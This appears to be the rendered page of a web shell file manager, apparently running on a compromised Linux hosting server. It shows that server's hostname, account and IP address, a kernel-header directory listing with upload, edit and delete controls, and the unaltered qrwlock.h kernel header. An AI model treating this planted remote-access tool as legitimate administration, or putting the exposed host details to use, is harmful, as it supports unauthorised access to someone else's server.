[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.19
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
usr
/
src
/
kernels
/
4.18.0-553.64.1.el8_10.x86_64
/
include
/
asm-generic
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 bitops
SET
[ DEL ]
📁 vdso
SET
[ DEL ]
📄 4level-fixup.h
1,098 B
SET
[ EDIT ]
|
[ DEL ]
📄 5level-fixup.h
1,273 B
SET
[ EDIT ]
|
[ DEL ]
📄 asm-offsets.h
35 B
SET
[ EDIT ]
|
[ DEL ]
📄 asm-prototypes.h
507 B
SET
[ EDIT ]
|
[ DEL ]
📄 atomic-instrumented.h
13,623 B
SET
[ EDIT ]
|
[ DEL ]
📄 atomic-long.h
8,048 B
SET
[ EDIT ]
|
[ DEL ]
📄 atomic.h
4,391 B
SET
[ EDIT ]
|
[ DEL ]
📄 atomic64.h
1,797 B
SET
[ EDIT ]
|
[ DEL ]
📄 audit_change_attr.h
484 B
SET
[ EDIT ]
|
[ DEL ]
📄 audit_dir_write.h
528 B
SET
[ EDIT ]
|
[ DEL ]
📄 audit_read.h
241 B
SET
[ EDIT ]
|
[ DEL ]
📄 audit_signal.h
36 B
SET
[ EDIT ]
|
[ DEL ]
📄 audit_write.h
461 B
SET
[ EDIT ]
|
[ DEL ]
📄 barrier.h
6,868 B
SET
[ EDIT ]
|
[ DEL ]
📄 bitops-instrumented.h
7,909 B
SET
[ EDIT ]
|
[ DEL ]
📄 bitops.h
1,119 B
SET
[ EDIT ]
|
[ DEL ]
📄 bitsperlong.h
592 B
SET
[ EDIT ]
|
[ DEL ]
📄 bug.h
6,720 B
SET
[ EDIT ]
|
[ DEL ]
📄 bugs.h
267 B
SET
[ EDIT ]
|
[ DEL ]
📄 cache.h
384 B
SET
[ EDIT ]
|
[ DEL ]
📄 cacheflush.h
1,340 B
SET
[ EDIT ]
|
[ DEL ]
📄 checksum.h
2,329 B
SET
[ EDIT ]
|
[ DEL ]
📄 cmpxchg-local.h
1,464 B
SET
[ EDIT ]
|
[ DEL ]
📄 cmpxchg.h
2,286 B
SET
[ EDIT ]
|
[ DEL ]
📄 compat.h
658 B
SET
[ EDIT ]
|
[ DEL ]
📄 current.h
256 B
SET
[ EDIT ]
|
[ DEL ]
📄 delay.h
1,157 B
SET
[ EDIT ]
|
[ DEL ]
📄 device.h
245 B
SET
[ EDIT ]
|
[ DEL ]
📄 div64.h
7,458 B
SET
[ EDIT ]
|
[ DEL ]
📄 dma-contiguous.h
238 B
SET
[ EDIT ]
|
[ DEL ]
📄 dma-mapping.h
248 B
SET
[ EDIT ]
|
[ DEL ]
📄 dma.h
553 B
SET
[ EDIT ]
|
[ DEL ]
📄 early_ioremap.h
1,696 B
SET
[ EDIT ]
|
[ DEL ]
📄 emergency-restart.h
248 B
SET
[ EDIT ]
|
[ DEL ]
📄 error-injection.h
1,178 B
SET
[ EDIT ]
|
[ DEL ]
📄 exec.h
667 B
SET
[ EDIT ]
|
[ DEL ]
📄 export.h
2,002 B
SET
[ EDIT ]
|
[ DEL ]
📄 extable.h
802 B
SET
[ EDIT ]
|
[ DEL ]
📄 fb.h
271 B
SET
[ EDIT ]
|
[ DEL ]
📄 fixmap.h
2,904 B
SET
[ EDIT ]
|
[ DEL ]
📄 ftrace.h
460 B
SET
[ EDIT ]
|
[ DEL ]
📄 futex.h
2,964 B
SET
[ EDIT ]
|
[ DEL ]
📄 getorder.h
1,487 B
SET
[ EDIT ]
|
[ DEL ]
📄 gpio.h
4,558 B
SET
[ EDIT ]
|
[ DEL ]
📄 hardirq.h
532 B
SET
[ EDIT ]
|
[ DEL ]
📄 hugetlb.h
1,326 B
SET
[ EDIT ]
|
[ DEL ]
📄 hw_irq.h
270 B
SET
[ EDIT ]
|
[ DEL ]
📄 hyperv-tlfs.h
20,696 B
SET
[ EDIT ]
|
[ DEL ]
📄 ide_iops.h
791 B
SET
[ EDIT ]
|
[ DEL ]
📄 int-ll64.h
863 B
SET
[ EDIT ]
|
[ DEL ]
📄 io.h
24,167 B
SET
[ EDIT ]
|
[ DEL ]
📄 ioctl.h
506 B
SET
[ EDIT ]
|
[ DEL ]
📄 iomap.h
4,033 B
SET
[ EDIT ]
|
[ DEL ]
📄 irq.h
403 B
SET
[ EDIT ]
|
[ DEL ]
📄 irq_regs.h
980 B
SET
[ EDIT ]
|
[ DEL ]
📄 irq_work.h
194 B
SET
[ EDIT ]
|
[ DEL ]
📄 irqflags.h
1,543 B
SET
[ EDIT ]
|
[ DEL ]
📄 kdebug.h
182 B
SET
[ EDIT ]
|
[ DEL ]
📄 kmap_size.h
263 B
SET
[ EDIT ]
|
[ DEL ]
📄 kprobes.h
868 B
SET
[ EDIT ]
|
[ DEL ]
📄 kvm_para.h
549 B
SET
[ EDIT ]
|
[ DEL ]
📄 kvm_types.h
113 B
SET
[ EDIT ]
|
[ DEL ]
📄 linkage.h
225 B
SET
[ EDIT ]
|
[ DEL ]
📄 local.h
2,282 B
SET
[ EDIT ]
|
[ DEL ]
📄 local64.h
3,887 B
SET
[ EDIT ]
|
[ DEL ]
📄 mcs_spinlock.h
260 B
SET
[ EDIT ]
|
[ DEL ]
📄 memory_model.h
2,209 B
SET
[ EDIT ]
|
[ DEL ]
📄 mm-arch-hooks.h
388 B
SET
[ EDIT ]
|
[ DEL ]
📄 mm_hooks.h
854 B
SET
[ EDIT ]
|
[ DEL ]
📄 mmiowb.h
1,731 B
SET
[ EDIT ]
|
[ DEL ]
📄 mmiowb_types.h
249 B
SET
[ EDIT ]
|
[ DEL ]
📄 mmu.h
449 B
SET
[ EDIT ]
|
[ DEL ]
📄 mmu_context.h
881 B
SET
[ EDIT ]
|
[ DEL ]
📄 module.h
1,118 B
SET
[ EDIT ]
|
[ DEL ]
📄 mshyperv.h
8,592 B
SET
[ EDIT ]
|
[ DEL ]
📄 msi.h
1,053 B
SET
[ EDIT ]
|
[ DEL ]
📄 numa.h
1,544 B
SET
[ EDIT ]
|
[ DEL ]
📄 page.h
2,454 B
SET
[ EDIT ]
|
[ DEL ]
📄 param.h
367 B
SET
[ EDIT ]
|
[ DEL ]
📄 parport.h
604 B
SET
[ EDIT ]
|
[ DEL ]
📄 pci.h
401 B
SET
[ EDIT ]
|
[ DEL ]
📄 pci_iomap.h
1,775 B
SET
[ EDIT ]
|
[ DEL ]
📄 percpu.h
13,026 B
SET
[ EDIT ]
|
[ DEL ]
📄 pgalloc.h
342 B
SET
[ EDIT ]
|
[ DEL ]
📄 pgtable-nop4d-hack.h
1,965 B
SET
[ EDIT ]
|
[ DEL ]
📄 pgtable-nop4d.h
1,772 B
SET
[ EDIT ]
|
[ DEL ]
📄 pgtable-nopmd.h
1,944 B
SET
[ EDIT ]
|
[ DEL ]
📄 pgtable-nopud.h
2,071 B
SET
[ EDIT ]
|
[ DEL ]
📄 pgtable.h
33,765 B
SET
[ EDIT ]
|
[ DEL ]
📄 pgtable_uffd.h
1,052 B
SET
[ EDIT ]
|
[ DEL ]
📄 preempt.h
1,994 B
SET
[ EDIT ]
|
[ DEL ]
📄 ptrace.h
1,615 B
SET
[ EDIT ]
|
[ DEL ]
📄 qrwlock.h
4,315 B
SET
[ EDIT ]
|
[ DEL ]
📄 qrwlock_types.h
682 B
SET
[ EDIT ]
|
[ DEL ]
📄 qspinlock.h
3,816 B
SET
[ EDIT ]
|
[ DEL ]
📄 qspinlock_types.h
2,590 B
SET
[ EDIT ]
|
[ DEL ]
📄 resource.h
1,100 B
SET
[ EDIT ]
|
[ DEL ]
📄 seccomp.h
1,328 B
SET
[ EDIT ]
|
[ DEL ]
📄 sections.h
5,306 B
SET
[ EDIT ]
|
[ DEL ]
📄 segment.h
249 B
SET
[ EDIT ]
|
[ DEL ]
📄 serial.h
345 B
SET
[ EDIT ]
|
[ DEL ]
📄 set_memory.h
362 B
SET
[ EDIT ]
|
[ DEL ]
📄 signal.h
308 B
SET
[ EDIT ]
|
[ DEL ]
📄 simd.h
436 B
SET
[ EDIT ]
|
[ DEL ]
📄 sizes.h
78 B
SET
[ EDIT ]
|
[ DEL ]
📄 spinlock.h
329 B
SET
[ EDIT ]
|
[ DEL ]
📄 statfs.h
169 B
SET
[ EDIT ]
|
[ DEL ]
📄 string.h
281 B
SET
[ EDIT ]
|
[ DEL ]
📄 switch_to.h
962 B
SET
[ EDIT ]
|
[ DEL ]
📄 syscall.h
6,389 B
SET
[ EDIT ]
|
[ DEL ]
📄 syscalls.h
739 B
SET
[ EDIT ]
|
[ DEL ]
📄 termios-base.h
2,164 B
SET
[ EDIT ]
|
[ DEL ]
📄 termios.h
2,877 B
SET
[ EDIT ]
|
[ DEL ]
📄 timex.h
508 B
SET
[ EDIT ]
|
[ DEL ]
📄 tlb.h
19,685 B
SET
[ EDIT ]
|
[ DEL ]
📄 tlbflush.h
485 B
SET
[ EDIT ]
|
[ DEL ]
📄 topology.h
2,234 B
SET
[ EDIT ]
|
[ DEL ]
📄 trace_clock.h
391 B
SET
[ EDIT ]
|
[ DEL ]
📄 uaccess.h
5,272 B
SET
[ EDIT ]
|
[ DEL ]
📄 unaligned.h
1,078 B
SET
[ EDIT ]
|
[ DEL ]
📄 unistd.h
318 B
SET
[ EDIT ]
|
[ DEL ]
📄 user.h
242 B
SET
[ EDIT ]
|
[ DEL ]
📄 vga.h
587 B
SET
[ EDIT ]
|
[ DEL ]
📄 vmlinux.lds.h
28,848 B
SET
[ EDIT ]
|
[ DEL ]
📄 vtime.h
52 B
SET
[ EDIT ]
|
[ DEL ]
📄 word-at-a-time.h
2,817 B
SET
[ EDIT ]
|
[ DEL ]
📄 xor.h
13,961 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: qrwlock.h
/* * Queue read/write lock * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * (C) Copyright 2013-2014 Hewlett-Packard Development Company, L.P. * * Authors: Waiman Long <waiman.long@hp.com> */ #ifndef __ASM_GENERIC_QRWLOCK_H #define __ASM_GENERIC_QRWLOCK_H #include <linux/atomic.h> #include <asm/barrier.h> #include <asm/processor.h> #include <asm-generic/qrwlock_types.h> /* Must be included from asm/spinlock.h after defining arch_spin_is_locked. */ /* * Writer states & reader shift and bias. */ #define _QW_WAITING 0x100 /* A writer is waiting */ #define _QW_LOCKED 0x0ff /* A writer holds the lock */ #define _QW_WMASK 0x1ff /* Writer mask */ #define _QR_SHIFT 9 /* Reader count shift */ #define _QR_BIAS (1U << _QR_SHIFT) /* * External function declarations */ extern void queued_read_lock_slowpath(struct qrwlock *lock); extern void queued_write_lock_slowpath(struct qrwlock *lock); /** * queued_read_trylock - try to acquire read lock of a queue rwlock * @lock : Pointer to queue rwlock structure * Return: 1 if lock acquired, 0 if failed */ static inline int queued_read_trylock(struct qrwlock *lock) { int cnts; cnts = atomic_read(&lock->cnts); if (likely(!(cnts & _QW_WMASK))) { cnts = (u32)atomic_add_return_acquire(_QR_BIAS, &lock->cnts); if (likely(!(cnts & _QW_WMASK))) return 1; atomic_sub(_QR_BIAS, &lock->cnts); } return 0; } /** * queued_write_trylock - try to acquire write lock of a queue rwlock * @lock : Pointer to queue rwlock structure * Return: 1 if lock acquired, 0 if failed */ static inline int queued_write_trylock(struct qrwlock *lock) { int cnts; cnts = atomic_read(&lock->cnts); if (unlikely(cnts)) return 0; return likely(atomic_try_cmpxchg_acquire(&lock->cnts, &cnts, _QW_LOCKED)); } /** * queued_read_lock - acquire read lock of a queue rwlock * @lock: Pointer to queue rwlock structure */ static inline void queued_read_lock(struct qrwlock *lock) { int cnts; cnts = atomic_add_return_acquire(_QR_BIAS, &lock->cnts); if (likely(!(cnts & _QW_WMASK))) return; /* The slowpath will decrement the reader count, if necessary. */ queued_read_lock_slowpath(lock); } /** * queued_write_lock - acquire write lock of a queue rwlock * @lock : Pointer to queue rwlock structure */ static inline void queued_write_lock(struct qrwlock *lock) { int cnts = 0; /* Optimize for the unfair lock case where the fair flag is 0. */ if (likely(atomic_try_cmpxchg_acquire(&lock->cnts, &cnts, _QW_LOCKED))) return; queued_write_lock_slowpath(lock); } /** * queued_read_unlock - release read lock of a queue rwlock * @lock : Pointer to queue rwlock structure */ static inline void queued_read_unlock(struct qrwlock *lock) { /* * Atomically decrement the reader count */ (void)atomic_sub_return_release(_QR_BIAS, &lock->cnts); } /** * queued_write_unlock - release write lock of a queue rwlock * @lock : Pointer to queue rwlock structure */ static inline void queued_write_unlock(struct qrwlock *lock) { smp_store_release(&lock->wlocked, 0); } /** * queued_rwlock_is_contended - check if the lock is contended * @lock : Pointer to queue rwlock structure * Return: 1 if lock contended, 0 otherwise */ static inline int queued_rwlock_is_contended(struct qrwlock *lock) { return arch_spin_is_locked(&lock->wait_lock); } /* * Remapping rwlock architecture specific functions to the corresponding * queue rwlock functions. */ #define arch_read_lock(l) queued_read_lock(l) #define arch_write_lock(l) queued_write_lock(l) #define arch_read_trylock(l) queued_read_trylock(l) #define arch_write_trylock(l) queued_write_trylock(l) #define arch_read_unlock(l) queued_read_unlock(l) #define arch_write_unlock(l) queued_write_unlock(l) #define arch_rwlock_is_contended(l) queued_rwlock_is_contended(l) #endif /* __ASM_GENERIC_QRWLOCK_H */